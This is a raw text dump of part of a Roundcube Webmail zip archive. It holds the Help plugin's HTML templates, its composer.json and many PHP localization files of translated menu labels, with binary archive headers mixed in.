/home/lnzliplg/www/roundcube.zip
PKh�\��	��.plugins/help/skins/elastic/templates/help.htmlnu�[���<roundcube:include file="includes/layout.html" />
<roundcube:include file="includes/menu.html" />

<div id="layout-sidebar" class="listbox" role="navigation" aria-labelledby="aria-label-helpnav">
	<div class="header">
		<a class="button icon task-menu-button" href="#menu"><span class="inner"><roundcube:label name="menu" /></span></a>
		<span id="aria-label-helpnav" class="header-title"><roundcube:label name="help.help" /></span>
	</div>
	<div class="scroller">
		<ul class="listing iconized" data-menu="toolbar-small">
			<roundcube:object name="tablink" action="index" type="link-menuitem" label="help.help" class="help active" />
			<roundcube:object name="tablink" action="about" type="link-menuitem" label="help.about" class="about active" />
			<roundcube:object name="tablink" action="license" type="link-menuitem" label="help.license" class="license active" />
			<roundcube:container name="helptabs" id="helptabsbar" />
		</ul>
	</div>
</div>

<h1 class="voice"><roundcube:label name="help.help" /></h1>

<div id="layout-content" class="selected" role="main">
	<div class="header">
		<a class="button icon task-menu-button" href="#menu"><span class="inner"><roundcube:label name="menu" /></span></a>
		<span class="header-title"><roundcube:label name="help.help" /></span>
	</div>
	<div class="iframe-wrapper">
		<roundcube:object name="contentframe" id="helpcontentframe" src="env:blankpage" title="help.arialabelhelpcontent" />
	</div>
</div>

<roundcube:include file="includes/footer.html" />
PKh�\p/@1plugins/help/skins/elastic/templates/content.htmlnu�[���<roundcube:include file="includes/layout.html" />

<h1 class="voice"><roundcube:object name="steptitle" /></h1>

<div id="help-<roundcube:var name="env:action" />" class="frame-content">
	<roundcube:object name="helpcontent" />
</div>

<roundcube:include file="includes/footer.html" />
PKh�\�Tц77plugins/help/composer.jsonnu�[���{
    "name": "roundcube/help",
    "type": "roundcube-plugin",
    "description": "Plugin adds a new item (Help) in taskbar.",
    "license": "GPL-3.0-or-later",
    "version": "1.4",
    "authors": [
        {
            "name": "Aleksander Machniak",
            "email": "alec@alec.pl",
            "role": "Lead"
        }
    ],
    "repositories": [
        {
            "type": "composer",
            "url": "https://plugins.roundcube.net"
        }
    ],
    "require": {
        "php": ">=7.3.0",
        "roundcube/plugin-installer": ">=0.1.3"
    }
}
PKh�\+�Q��#plugins/help/localization/zh_CN.incnu�[���<?php

/*
 +-----------------------------------------------------------------------+
 | Localization file of the Roundcube Webmail Help plugin                |
 |                                                                       |
 | Copyright (C) The Roundcube Dev Team                                  |
 |                                                                       |
 | Licensed under the GNU General Public License version 3 or            |
 | any later version with exceptions for skins & plugins.                |
 | See the README file for a full license statement.                     |
 +-----------------------------------------------------------------------+

 For translation see https://www.transifex.com/projects/p/roundcube-webmail/resource/plugin-help/
*/

$labels['help'] = '帮助';
$labels['about'] = '关于';
$labels['license'] = '许可协议';
$labels['csrfinfo'] = '了解 CSRF 如何保护您';
PKh�\'����#plugins/help/localization/be_BE.incnu�[���<?php

/*
 +-----------------------------------------------------------------------+
 | Localization file of the Roundcube Webmail Help plugin                |
 |                                                                       |
 | Copyright (C) The Roundcube Dev Team                                  |
 |                                                                       |
 | Licensed under the GNU General Public License version 3 or            |
 | any later version with exceptions for skins & plugins.                |
 | See the README file for a full license statement.                     |
 +-----------------------------------------------------------------------+

 For translation see https://www.transifex.com/projects/p/roundcube-webmail/resource/plugin-help/
*/

$labels['help'] = 'Дапамога';
$labels['about'] = 'Апісанне';
$labels['license'] = 'Ліцэнзія';
PKh�\�~��$$#plugins/help/localization/bg_BG.incnu�[���<?php

/*
 +-----------------------------------------------------------------------+
 | Localization file of the Roundcube Webmail Help plugin                |
 |                                                                       |
 | Copyright (C) The Roundcube Dev Team                                  |
 |                                                                       |
 | Licensed under the GNU General Public License version 3 or            |
 | any later version with exceptions for skins & plugins.                |
 | See the README file for a full license statement.                     |
 +-----------------------------------------------------------------------+

 For translation see https://www.transifex.com/projects/p/roundcube-webmail/resource/plugin-help/
*/

$labels['help'] = 'Помощ';
$labels['about'] = 'Относно';
$labels['license'] = 'Лиценз';
$labels['csrfinfo'] = 'Прочети повече за CSRF и как си защитен';
$labels['arialabelhelpcontent'] = 'Помощно съдържание';
PKh�\JF�e��#plugins/help/localization/en_US.incnu�[���<?php

/*
 +-----------------------------------------------------------------------+
 | Localization file of the Roundcube Webmail Help plugin                |
 |                                                                       |
 | Copyright (C) The Roundcube Dev Team                                  |
 |                                                                       |
 | Licensed under the GNU General Public License version 3 or            |
 | any later version with exceptions for skins & plugins.                |
 | See the README file for a full license statement.                     |
 +-----------------------------------------------------------------------+

 For translation see https://www.transifex.com/projects/p/roundcube-webmail/resource/plugin-help/
*/

$labels = [];
$labels['help'] = 'Help';
$labels['about'] = 'About';
$labels['license'] = 'License';
$labels['csrfinfo'] = 'Read more about CSRF and how we protect you';
$labels['arialabelhelpcontent'] = 'Help content';
PKh�\Θ���#plugins/help/localization/fi_FI.incnu�[���<?php

/*
 +-----------------------------------------------------------------------+
 | Localization file of the Roundcube Webmail Help plugin                |
 |                                                                       |
 | Copyright (C) The Roundcube Dev Team                                  |
 |                                                                       |
 | Licensed under the GNU General Public License version 3 or            |
 | any later version with exceptions for skins & plugins.                |
 | See the README file for a full license statement.                     |
 +-----------------------------------------------------------------------+

 For translation see https://www.transifex.com/projects/p/roundcube-webmail/resource/plugin-help/
*/

$labels['help'] = 'Ohje';
$labels['about'] = 'Tietoja';
$labels['license'] = 'Lisenssi';
$labels['csrfinfo'] = 'Lue lisää CSRF:stä ja kuinka suojaamme sinua';
$labels['arialabelhelpcontent'] = 'Ohjeen sisältö';
PKh�\`�8��#plugins/help/localization/nb_NO.incnu�[���<?php

/*
 +-----------------------------------------------------------------------+
 | Localization file of the Roundcube Webmail Help plugin                |
 |                                                                       |
 | Copyright (C) The Roundcube Dev Team                                  |
 |                                                                       |
 | Licensed under the GNU General Public License version 3 or            |
 | any later version with exceptions for skins & plugins.                |
 | See the README file for a full license statement.                     |
 +-----------------------------------------------------------------------+

 For translation see https://www.transifex.com/projects/p/roundcube-webmail/resource/plugin-help/
*/

$labels['help'] = 'Hjelp';
$labels['about'] = 'Om';
$labels['license'] = 'Lisensvilkår';
$labels['csrfinfo'] = 'Les mer om CSRF og hvordan vi beskytter deg';
$labels['arialabelhelpcontent'] = 'Hjelp innhold';
PKh�\�m����#plugins/help/localization/sq_AL.incnu�[���<?php

/*
 +-----------------------------------------------------------------------+
 | Localization file of the Roundcube Webmail Help plugin                |
 |                                                                       |
 | Copyright (C) The Roundcube Dev Team                                  |
 |                                                                       |
 | Licensed under the GNU General Public License version 3 or            |
 | any later version with exceptions for skins & plugins.                |
 | See the README file for a full license statement.                     |
 +-----------------------------------------------------------------------+

 For translation see https://www.transifex.com/projects/p/roundcube-webmail/resource/plugin-help/
*/

$labels['help'] = 'Ndihmë';
$labels['about'] = 'Rreth';
$labels['license'] = 'Licencë';
$labels['csrfinfo'] = 'Lexoni më tepër rreth CSRF-së dhe se si ju mbrojmë';
$labels['arialabelhelpcontent'] = 'Lëndë ndihme';
PKh�\�����#plugins/help/localization/et_EE.incnu�[���<?php

/*
 +-----------------------------------------------------------------------+
 | Localization file of the Roundcube Webmail Help plugin                |
 |                                                                       |
 | Copyright (C) The Roundcube Dev Team                                  |
 |                                                                       |
 | Licensed under the GNU General Public License version 3 or            |
 | any later version with exceptions for skins & plugins.                |
 | See the README file for a full license statement.                     |
 +-----------------------------------------------------------------------+

 For translation see https://www.transifex.com/projects/p/roundcube-webmail/resource/plugin-help/
*/

$labels['help'] = 'Abi';
$labels['about'] = 'Roundcube info';
$labels['license'] = 'Litsents';
$labels['csrfinfo'] = 'Loe lisa CSRF kohta ja kuidas me sind kaitseme';
$labels['arialabelhelpcontent'] = 'Abiinfo sisu';
PKh�\�Ӑ�11#plugins/help/localization/ku_IQ.incnu�[���<?php

/*
 +-----------------------------------------------------------------------+
 | Localization file of the Roundcube Webmail Help plugin                |
 |                                                                       |
 | Copyright (C) The Roundcube Dev Team                                  |
 |                                                                       |
 | Licensed under the GNU General Public License version 3 or            |
 | any later version with exceptions for skins & plugins.                |
 | See the README file for a full license statement.                     |
 +-----------------------------------------------------------------------+

 For translation see https://www.transifex.com/projects/p/roundcube-webmail/resource/plugin-help/
*/

$labels['help'] = 'یارمەتی';
$labels['about'] = 'دەربارە';
$labels['license'] = 'مۆڵەت';
$labels['csrfinfo'] = 'لێرە زیاتر بخوێنەرەوە و بزانە چۆن دەتپارێزین';
$labels['arialabelhelpcontent'] = 'ناوەڕۆکی یارمەتی';
PKh�\
����#plugins/help/localization/eu_ES.incnu�[���<?php

/*
 +-----------------------------------------------------------------------+
 | Localization file of the Roundcube Webmail Help plugin                |
 |                                                                       |
 | Copyright (C) The Roundcube Dev Team                                  |
 |                                                                       |
 | Licensed under the GNU General Public License version 3 or            |
 | any later version with exceptions for skins & plugins.                |
 | See the README file for a full license statement.                     |
 +-----------------------------------------------------------------------+

 For translation see https://www.transifex.com/projects/p/roundcube-webmail/resource/plugin-help/
*/

$labels['help'] = 'Laguntza';
$labels['about'] = 'Honi buruz';
$labels['license'] = 'Lizentzia';
$labels['csrfinfo'] = 'Irakurri gehiago CSRF-ez eta nola babesten zaitugun';
$labels['arialabelhelpcontent'] = 'Laguntzaren edukia';
PKh�\����#plugins/help/localization/tr_TR.incnu�[���<?php

/*
 +-----------------------------------------------------------------------+
 | Localization file of the Roundcube Webmail Help plugin                |
 |                                                                       |
 | Copyright (C) The Roundcube Dev Team                                  |
 |                                                                       |
 | Licensed under the GNU General Public License version 3 or            |
 | any later version with exceptions for skins & plugins.                |
 | See the README file for a full license statement.                     |
 +-----------------------------------------------------------------------+

 For translation see https://www.transifex.com/projects/p/roundcube-webmail/resource/plugin-help/
*/

$labels['help'] = 'Yardım';
$labels['about'] = 'Hakkında';
$labels['license'] = 'Lisans';
$labels['csrfinfo'] = 'Korunmanız ve CSRF hakkında ayrıntılı bilgi.';
$labels['arialabelhelpcontent'] = 'Yardım içeriği';
PKh�\��*$��#plugins/help/localization/es_AR.incnu�[���<?php

/*
 +-----------------------------------------------------------------------+
 | Localization file of the Roundcube Webmail Help plugin                |
 |                                                                       |
 | Copyright (C) The Roundcube Dev Team                                  |
 |                                                                       |
 | Licensed under the GNU General Public License version 3 or            |
 | any later version with exceptions for skins & plugins.                |
 | See the README file for a full license statement.                     |
 +-----------------------------------------------------------------------+

 For translation see https://www.transifex.com/projects/p/roundcube-webmail/resource/plugin-help/
*/

$labels['help'] = 'Ayuda';
$labels['about'] = 'Acerca de';
$labels['license'] = 'Licencia';
$labels['csrfinfo'] = 'Lea más sobre CSRF y cómo le protegemos';
$labels['arialabelhelpcontent'] = 'Contenido de la ayuda';
PKh�\���pp plugins/help/localization/ku.incnu�[���<?php

/*
 +-----------------------------------------------------------------------+
 | Localization file of the Roundcube Webmail Help plugin                |
 |                                                                       |
 | Copyright (C) The Roundcube Dev Team                                  |
 |                                                                       |
 | Licensed under the GNU General Public License version 3 or            |
 | any later version with exceptions for skins & plugins.                |
 | See the README file for a full license statement.                     |
 +-----------------------------------------------------------------------+

 For translation see https://www.transifex.com/projects/p/roundcube-webmail/resource/plugin-help/
*/

$labels['help'] = 'Alîkarî';
$labels['about'] = 'Dervar';
$labels['license'] = 'Lîsans';
PKh�\"�S��#plugins/help/localization/pt_BR.incnu�[���<?php

/*
 +-----------------------------------------------------------------------+
 | Localization file of the Roundcube Webmail Help plugin                |
 |                                                                       |
 | Copyright (C) The Roundcube Dev Team                                  |
 |                                                                       |
 | Licensed under the GNU General Public License version 3 or            |
 | any later version with exceptions for skins & plugins.                |
 | See the README file for a full license statement.                     |
 +-----------------------------------------------------------------------+

 For translation see https://www.transifex.com/projects/p/roundcube-webmail/resource/plugin-help/
*/

$labels['help'] = 'Ajuda';
$labels['about'] = 'Sobre';
$labels['license'] = 'Licença';
$labels['csrfinfo'] = 'Leia mais sobre CSRF e como nós protegemos você';
$labels['arialabelhelpcontent'] = 'Conteúdo da ajuda';
PKh�\ܲ�''#plugins/help/localization/lv_LV.incnu�[���<?php

/*
 +-----------------------------------------------------------------------+
 | Localization file of the Roundcube Webmail Help plugin                |
 |                                                                       |
 | Copyright (C) The Roundcube Dev Team                                  |
 |                                                                       |
 | Licensed under the GNU General Public License version 3 or            |
 | any later version with exceptions for skins & plugins.                |
 | See the README file for a full license statement.                     |
 +-----------------------------------------------------------------------+

 For translation see https://www.transifex.com/projects/p/roundcube-webmail/resource/plugin-help/
*/

$labels['help'] = 'Palīdzība';
$labels['about'] = 'Par';
$labels['license'] = 'Licence';
$labels['csrfinfo'] = 'Lasīt papildus par "vairāku vietņu pieprasījuma viltošanu" (CSRF) un kā no tā sevi aizsargāt.';
$labels['arialabelhelpcontent'] = 'Palīdzības saturs';
PKh�\�^h  #plugins/help/localization/sk_SK.incnu�[���<?php

/*
 +-----------------------------------------------------------------------+
 | Localization file of the Roundcube Webmail Help plugin                |
 |                                                                       |
 | Copyright (C) The Roundcube Dev Team                                  |
 |                                                                       |
 | Licensed under the GNU General Public License version 3 or            |
 | any later version with exceptions for skins & plugins.                |
 | See the README file for a full license statement.                     |
 +-----------------------------------------------------------------------+

 For translation see https://www.transifex.com/projects/p/roundcube-webmail/resource/plugin-help/
*/

$labels['help'] = 'Pomocník';
$labels['about'] = 'O aplikácii';
$labels['license'] = 'Licencia';
$labels['csrfinfo'] = 'Prečítajte si viac o útokoch typu CSRF a o tom, ako vás môžeme pred nimi ochrániť';
$labels['arialabelhelpcontent'] = 'Obsah pomocníka';
PKh�\u)��#plugins/help/localization/cs_CZ.incnu�[���<?php

/*
 +-----------------------------------------------------------------------+
 | Localization file of the Roundcube Webmail Help plugin                |
 |                                                                       |
 | Copyright (C) The Roundcube Dev Team                                  |
 |                                                                       |
 | Licensed under the GNU General Public License version 3 or            |
 | any later version with exceptions for skins & plugins.                |
 | See the README file for a full license statement.                     |
 +-----------------------------------------------------------------------+

 For translation see https://www.transifex.com/projects/p/roundcube-webmail/resource/plugin-help/
*/

$labels['help'] = 'Nápověda';
$labels['about'] = 'O aplikaci';
$labels['license'] = 'Licence';
$labels['csrfinfo'] = 'Přečtěte si více o útoku typu CSRF a jak vás chráníme';
$labels['arialabelhelpcontent'] = 'Obsah nápovědy';
PKh�\r�{{ plugins/help/localization/ti.incnu�[���<?php

/*
 +-----------------------------------------------------------------------+
 | Localization file of the Roundcube Webmail Help plugin                |
 |                                                                       |
 | Copyright (C) The Roundcube Dev Team                                  |
 |                                                                       |
 | Licensed under the GNU General Public License version 3 or            |
 | any later version with exceptions for skins & plugins.                |
 | See the README file for a full license statement.                     |
 +-----------------------------------------------------------------------+

 For translation see https://www.transifex.com/projects/p/roundcube-webmail/resource/plugin-help/
*/

$labels['help'] = 'መምሃሪ';
$labels['about'] = 'ብዛዕባ';
$labels['license'] = 'ፍቓድ';
PKh�\X�ql��#plugins/help/localization/nl_BE.incnu�[���<?php

/*
 +-----------------------------------------------------------------------+
 | Localization file of the Roundcube Webmail Help plugin                |
 |                                                                       |
 | Copyright (C) The Roundcube Dev Team                                  |
 |                                                                       |
 | Licensed under the GNU General Public License version 3 or            |
 | any later version with exceptions for skins & plugins.                |
 | See the README file for a full license statement.                     |
 +-----------------------------------------------------------------------+

 For translation see https://www.transifex.com/projects/p/roundcube-webmail/resource/plugin-help/
*/

$labels['help'] = 'Help';
$labels['about'] = 'Over';
$labels['license'] = 'Licentie';
$labels['csrfinfo'] = 'Lees meer over CSRF en hoe we u beschermen';
$labels['arialabelhelpcontent'] = 'Help inhoud';
PKh�\e�k��#plugins/help/localization/uk_UA.incnu�[���<?php

/*
 +-----------------------------------------------------------------------+
 | Localization file of the Roundcube Webmail Help plugin                |
 |                                                                       |
 | Copyright (C) The Roundcube Dev Team                                  |
 |                                                                       |
 | Licensed under the GNU General Public License version 3 or            |
 | any later version with exceptions for skins & plugins.                |
 | See the README file for a full license statement.                     |
 +-----------------------------------------------------------------------+

 For translation see https://www.transifex.com/projects/p/roundcube-webmail/resource/plugin-help/
*/

$labels['help'] = 'Допомога';
$labels['about'] = 'Про програму';
$labels['license'] = 'Ліцензія';
$labels['csrfinfo'] = 'Дізнатися більше про CSRF і як ми Вас захищаємо';
PKh�\r�g��#plugins/help/localization/fy_NL.incnu�[���<?php

/*
 +-----------------------------------------------------------------------+
 | Localization file of the Roundcube Webmail Help plugin                |
 |                                                                       |
 | Copyright (C) The Roundcube Dev Team                                  |
 |                                                                       |
 | Licensed under the GNU General Public License version 3 or            |
 | any later version with exceptions for skins & plugins.                |
 | See the README file for a full license statement.                     |
 +-----------------------------------------------------------------------+

 For translation see https://www.transifex.com/projects/p/roundcube-webmail/resource/plugin-help/
*/

$labels['help'] = 'Help';
$labels['about'] = 'Oer';
$labels['license'] = 'Lisinsje';
$labels['csrfinfo'] = 'Lês mear oer CSRF en hoe\'t wy jo beskermje';
PKh�\��'��#plugins/help/localization/de_CH.incnu�[���<?php

/*
 +-----------------------------------------------------------------------+
 | Localization file of the Roundcube Webmail Help plugin                |
 |                                                                       |
 | Copyright (C) The Roundcube Dev Team                                  |
 |                                                                       |
 | Licensed under the GNU General Public License version 3 or            |
 | any later version with exceptions for skins & plugins.                |
 | See the README file for a full license statement.                     |
 +-----------------------------------------------------------------------+

 For translation see https://www.transifex.com/projects/p/roundcube-webmail/resource/plugin-help/
*/

$labels['help'] = 'Hilfe';
$labels['about'] = 'Über';
$labels['license'] = 'Lizenz';
$labels['csrfinfo'] = 'Erfahren Sie mehr über CSRF und wie wir Sie davor schützen';
$labels['arialabelhelpcontent'] = 'Hilfeinhalt';
PKh�\+�@�ll$plugins/help/localization/es_419.incnu�[���<?php

/*
 +-----------------------------------------------------------------------+
 | Localization file of the Roundcube Webmail Help plugin                |
 |                                                                       |
 | Copyright (C) The Roundcube Dev Team                                  |
 |                                                                       |
 | Licensed under the GNU General Public License version 3 or            |
 | any later version with exceptions for skins & plugins.                |
 | See the README file for a full license statement.                     |
 +-----------------------------------------------------------------------+

 For translation see https://www.transifex.com/projects/p/roundcube-webmail/resource/plugin-help/
*/

$labels['help'] = 'Ayuda';
$labels['about'] = 'Sobre';
$labels['license'] = 'Licencia';
PKh�\��)�� plugins/help/localization/uz.incnu�[���<?php

/*
 +-----------------------------------------------------------------------+
 | Localization file of the Roundcube Webmail Help plugin                |
 |                                                                       |
 | Copyright (C) The Roundcube Dev Team                                  |
 |                                                                       |
 | Licensed under the GNU General Public License version 3 or            |
 | any later version with exceptions for skins & plugins.                |
 | See the README file for a full license statement.                     |
 +-----------------------------------------------------------------------+

 For translation see https://www.transifex.com/projects/p/roundcube-webmail/resource/plugin-help/
*/

$labels['help'] = 'Yordam';
$labels['about'] = 'Biz haqimizda';
$labels['license'] = 'Litsenziya';
$labels['csrfinfo'] = 'CSRF haqida  va qanday himoya qilishimiz haqida ko‘proq o‘qing';
PKh�\:��9��#plugins/help/localization/hy_AM.incnu�[���<?php

/*
 +-----------------------------------------------------------------------+
 | Localization file of the Roundcube Webmail Help plugin                |
 |                                                                       |
 | Copyright (C) The Roundcube Dev Team                                  |
 |                                                                       |
 | Licensed under the GNU General Public License version 3 or            |
 | any later version with exceptions for skins & plugins.                |
 | See the README file for a full license statement.                     |
 +-----------------------------------------------------------------------+

 For translation see https://www.transifex.com/projects/p/roundcube-webmail/resource/plugin-help/
*/

$labels['help'] = 'Օգնություն';
$labels['about'] = 'Նկարագիր';
$labels['license'] = 'Արտոնագիր';
PKh�\����jj#plugins/help/localization/en_CA.incnu�[���<?php

/*
 +-----------------------------------------------------------------------+
 | Localization file of the Roundcube Webmail Help plugin                |
 |                                                                       |
 | Copyright (C) The Roundcube Dev Team                                  |
 |                                                                       |
 | Licensed under the GNU General Public License version 3 or            |
 | any later version with exceptions for skins & plugins.                |
 | See the README file for a full license statement.                     |
 +-----------------------------------------------------------------------+

 For translation see https://www.transifex.com/projects/p/roundcube-webmail/resource/plugin-help/
*/

$labels['help'] = 'Help';
$labels['about'] = 'About';
$labels['license'] = 'License';
PKh�\�ay!!#plugins/help/localization/zh_TW.incnu�[���<?php

/*
 +-----------------------------------------------------------------------+
 | Localization file of the Roundcube Webmail Help plugin                |
 |                                                                       |
 | Copyright (C) The Roundcube Dev Team                                  |
 |                                                                       |
 | Licensed under the GNU General Public License version 3 or            |
 | any later version with exceptions for skins & plugins.                |
 | See the README file for a full license statement.                     |
 +-----------------------------------------------------------------------+

 For translation see https://www.transifex.com/projects/p/roundcube-webmail/resource/plugin-help/
*/

$labels['help'] = '說明';
$labels['about'] = '關於';
$labels['license'] = '授權';
$labels['csrfinfo'] = '閱讀更多有關「跨站偽造要求(CSRF)」的資訊,並了解我們的軟體如何防止您受騙';
$labels['arialabelhelpcontent'] = '說明內容';
PKh�\
�_���#plugins/help/localization/ca_ES.incnu�[���<?php

/*
 +-----------------------------------------------------------------------+
 | Localization file of the Roundcube Webmail Help plugin                |
 |                                                                       |
 | Copyright (C) The Roundcube Dev Team                                  |
 |                                                                       |
 | Licensed under the GNU General Public License version 3 or            |
 | any later version with exceptions for skins & plugins.                |
 | See the README file for a full license statement.                     |
 +-----------------------------------------------------------------------+

 For translation see https://www.transifex.com/projects/p/roundcube-webmail/resource/plugin-help/
*/

$labels['help'] = 'Ajuda';
$labels['about'] = 'Quant a';
$labels['license'] = 'Llicència';
$labels['csrfinfo'] = 'Llegeix més sobre CSRF i com et protegim';
$labels['arialabelhelpcontent'] = 'Contingut d’ajuda';
PKh�\��j�� plugins/help/localization/ia.incnu�[���<?php

/*
 +-----------------------------------------------------------------------+
 | Localization file of the Roundcube Webmail Help plugin                |
 |                                                                       |
 | Copyright (C) The Roundcube Dev Team                                  |
 |                                                                       |
 | Licensed under the GNU General Public License version 3 or            |
 | any later version with exceptions for skins & plugins.                |
 | See the README file for a full license statement.                     |
 +-----------------------------------------------------------------------+

 For translation see https://www.transifex.com/projects/p/roundcube-webmail/resource/plugin-help/
*/

$labels['help'] = 'Adjuta';
$labels['about'] = 'A proposito';
$labels['license'] = 'Licentia';
$labels['csrfinfo'] = 'Lege plus sur CSRF e como nos te protege';
PKh�\���
��#plugins/help/localization/bs_BA.incnu�[���<?php

/*
 +-----------------------------------------------------------------------+
 | Localization file of the Roundcube Webmail Help plugin                |
 |                                                                       |
 | Copyright (C) The Roundcube Dev Team                                  |
 |                                                                       |
 | Licensed under the GNU General Public License version 3 or            |
 | any later version with exceptions for skins & plugins.                |
 | See the README file for a full license statement.                     |
 +-----------------------------------------------------------------------+

 For translation see https://www.transifex.com/projects/p/roundcube-webmail/resource/plugin-help/
*/

$labels['help'] = 'Pomoć';
$labels['about'] = 'O programu';
$labels['license'] = 'Licenca';
$labels['csrfinfo'] = 'Saznajte više o CSRF i načinu na koji vas štitimo';
PKh�\R$BB#plugins/help/localization/ru_RU.incnu�[���<?php

/*
 +-----------------------------------------------------------------------+
 | Localization file of the Roundcube Webmail Help plugin                |
 |                                                                       |
 | Copyright (C) The Roundcube Dev Team                                  |
 |                                                                       |
 | Licensed under the GNU General Public License version 3 or            |
 | any later version with exceptions for skins & plugins.                |
 | See the README file for a full license statement.                     |
 +-----------------------------------------------------------------------+

 For translation see https://www.transifex.com/projects/p/roundcube-webmail/resource/plugin-help/
*/

$labels['help'] = 'Помощь';
$labels['about'] = 'О программе';
$labels['license'] = 'Лицензия';
$labels['csrfinfo'] = 'Узнайте больше о CSRF и о том как мы защищаем вас';
$labels['arialabelhelpcontent'] = 'Содержание справки';
PKh�\w;τ�#plugins/help/localization/fa_IR.incnu�[���<?php

/*
 +-----------------------------------------------------------------------+
 | Localization file of the Roundcube Webmail Help plugin                |
 |                                                                       |
 | Copyright (C) The Roundcube Dev Team                                  |
 |                                                                       |
 | Licensed under the GNU General Public License version 3 or            |
 | any later version with exceptions for skins & plugins.                |
 | See the README file for a full license statement.                     |
 +-----------------------------------------------------------------------+

 For translation see https://www.transifex.com/projects/p/roundcube-webmail/resource/plugin-help/
*/

$labels['help'] = 'راهنما';
$labels['about'] = 'درباره';
$labels['license'] = 'گواهینامه';
PKh�\-h��#plugins/help/localization/is_IS.incnu�[���<?php

/*
 +-----------------------------------------------------------------------+
 | Localization file of the Roundcube Webmail Help plugin                |
 |                                                                       |
 | Copyright (C) The Roundcube Dev Team                                  |
 |                                                                       |
 | Licensed under the GNU General Public License version 3 or            |
 | any later version with exceptions for skins & plugins.                |
 | See the README file for a full license statement.                     |
 +-----------------------------------------------------------------------+

 For translation see https://www.transifex.com/projects/p/roundcube-webmail/resource/plugin-help/
*/

$labels['help'] = 'Hjálp';
$labels['about'] = 'Um hugbúnaðinn';
$labels['license'] = 'Notkunarleyfi';
$labels['csrfinfo'] = 'Lestumeira um CSRF og hvernig við verjum þig';
$labels['arialabelhelpcontent'] = 'Efni hjálpar';
PKh�\�����#plugins/help/localization/vi_VN.incnu�[���<?php

/*
 +-----------------------------------------------------------------------+
 | Localization file of the Roundcube Webmail Help plugin                |
 |                                                                       |
 | Copyright (C) The Roundcube Dev Team                                  |
 |                                                                       |
 | Licensed under the GNU General Public License version 3 or            |
 | any later version with exceptions for skins & plugins.                |
 | See the README file for a full license statement.                     |
 +-----------------------------------------------------------------------+

 For translation see https://www.transifex.com/projects/p/roundcube-webmail/resource/plugin-help/
*/

$labels['help'] = 'Trợ giúp';
$labels['about'] = 'Giới thiệu';
$labels['license'] = 'Bản quyền';
PKh�\��uOO#plugins/help/localization/th_TH.incnu�[���<?php

/*
 +-----------------------------------------------------------------------+
 | Localization file of the Roundcube Webmail Help plugin                |
 |                                                                       |
 | Copyright (C) The Roundcube Dev Team                                  |
 |                                                                       |
 | Licensed under the GNU General Public License version 3 or            |
 | any later version with exceptions for skins & plugins.                |
 | See the README file for a full license statement.                     |
 +-----------------------------------------------------------------------+

 For translation see https://www.transifex.com/projects/p/roundcube-webmail/resource/plugin-help/
*/

$labels['help'] = 'ช่วยเหลือ';
$labels['about'] = 'เกี่ยวกับ';
$labels['license'] = 'ลิขสิทธิ์';
$labels['csrfinfo'] = 'อ่านเพิ่มเติมเกี่ยวกับ CSRF และวิธีที่เราปกป้องคุณ';
PKh�\� �#plugins/help/localization/ar_SA.incnu�[���<?php

/*
 +-----------------------------------------------------------------------+
 | Localization file of the Roundcube Webmail Help plugin                |
 |                                                                       |
 | Copyright (C) The Roundcube Dev Team                                  |
 |                                                                       |
 | Licensed under the GNU General Public License version 3 or            |
 | any later version with exceptions for skins & plugins.                |
 | See the README file for a full license statement.                     |
 +-----------------------------------------------------------------------+

 For translation see https://www.transifex.com/projects/p/roundcube-webmail/resource/plugin-help/
*/

$labels['help'] = 'المساعدة';
$labels['about'] = 'حول';
$labels['license'] = 'الرخصة';
$labels['csrfinfo'] = 'اقرأ المزيد عن CSRF وكيف نقوم بحمايتك';
$labels['arialabelhelpcontent'] = 'محتوى المساعدة';
PKh�\�!��ss#plugins/help/localization/az_AZ.incnu�[���<?php

/*
 +-----------------------------------------------------------------------+
 | Localization file of the Roundcube Webmail Help plugin                |
 |                                                                       |
 | Copyright (C) The Roundcube Dev Team                                  |
 |                                                                       |
 | Licensed under the GNU General Public License version 3 or            |
 | any later version with exceptions for skins & plugins.                |
 | See the README file for a full license statement.                     |
 +-----------------------------------------------------------------------+

 For translation see https://www.transifex.com/projects/p/roundcube-webmail/resource/plugin-help/
*/

$labels['help'] = 'Kömək';
$labels['about'] = 'Haqqında';
$labels['license'] = 'Lisenziya';
PKh�\!dH���#plugins/help/localization/id_ID.incnu�[���<?php

/*
 +-----------------------------------------------------------------------+
 | Localization file of the Roundcube Webmail Help plugin                |
 |                                                                       |
 | Copyright (C) The Roundcube Dev Team                                  |
 |                                                                       |
 | Licensed under the GNU General Public License version 3 or            |
 | any later version with exceptions for skins & plugins.                |
 | See the README file for a full license statement.                     |
 +-----------------------------------------------------------------------+

 For translation see https://www.transifex.com/projects/p/roundcube-webmail/resource/plugin-help/
*/

$labels['help'] = 'Bantuan';
$labels['about'] = 'Tentang';
$labels['license'] = 'Lisensi';
$labels['csrfinfo'] = 'Baca lebih jauh tentang CSRF dan bagaimana kami melindungi Anda';
PKh�\ܰi3SS!plugins/help/localization/tzl.incnu�[���<?php

/*
 +-----------------------------------------------------------------------+
 | Localization file of the Roundcube Webmail Help plugin                |
 |                                                                       |
 | Copyright (C) The Roundcube Dev Team                                  |
 |                                                                       |
 | Licensed under the GNU General Public License version 3 or            |
 | any later version with exceptions for skins & plugins.                |
 | See the README file for a full license statement.                     |
 +-----------------------------------------------------------------------+

 For translation see https://www.transifex.com/projects/p/roundcube-webmail/resource/plugin-help/
*/

$labels['help'] = 'Aßistançéu';
$labels['about'] = 'Över';
PKh�\�]��#plugins/help/localization/hu_HU.incnu�[���<?php

/*
 +-----------------------------------------------------------------------+
 | Localization file of the Roundcube Webmail Help plugin                |
 |                                                                       |
 | Copyright (C) The Roundcube Dev Team                                  |
 |                                                                       |
 | Licensed under the GNU General Public License version 3 or            |
 | any later version with exceptions for skins & plugins.                |
 | See the README file for a full license statement.                     |
 +-----------------------------------------------------------------------+

 For translation see https://www.transifex.com/projects/p/roundcube-webmail/resource/plugin-help/
*/

$labels['help'] = 'Súgó';
$labels['about'] = 'Névjegy';
$labels['license'] = 'Licensz';
$labels['csrfinfo'] = 'Olvass többet a CSRF-ről és arról hogy védünk meg ettöl';
$labels['arialabelhelpcontent'] = 'Súgó tartalom';
PKh�\}K ���#plugins/help/localization/ro_RO.incnu�[���<?php

/*
 +-----------------------------------------------------------------------+
 | Localization file of the Roundcube Webmail Help plugin                |
 |                                                                       |
 | Copyright (C) The Roundcube Dev Team                                  |
 |                                                                       |
 | Licensed under the GNU General Public License version 3 or            |
 | any later version with exceptions for skins & plugins.                |
 | See the README file for a full license statement.                     |
 +-----------------------------------------------------------------------+

 For translation see https://www.transifex.com/projects/p/roundcube-webmail/resource/plugin-help/
*/

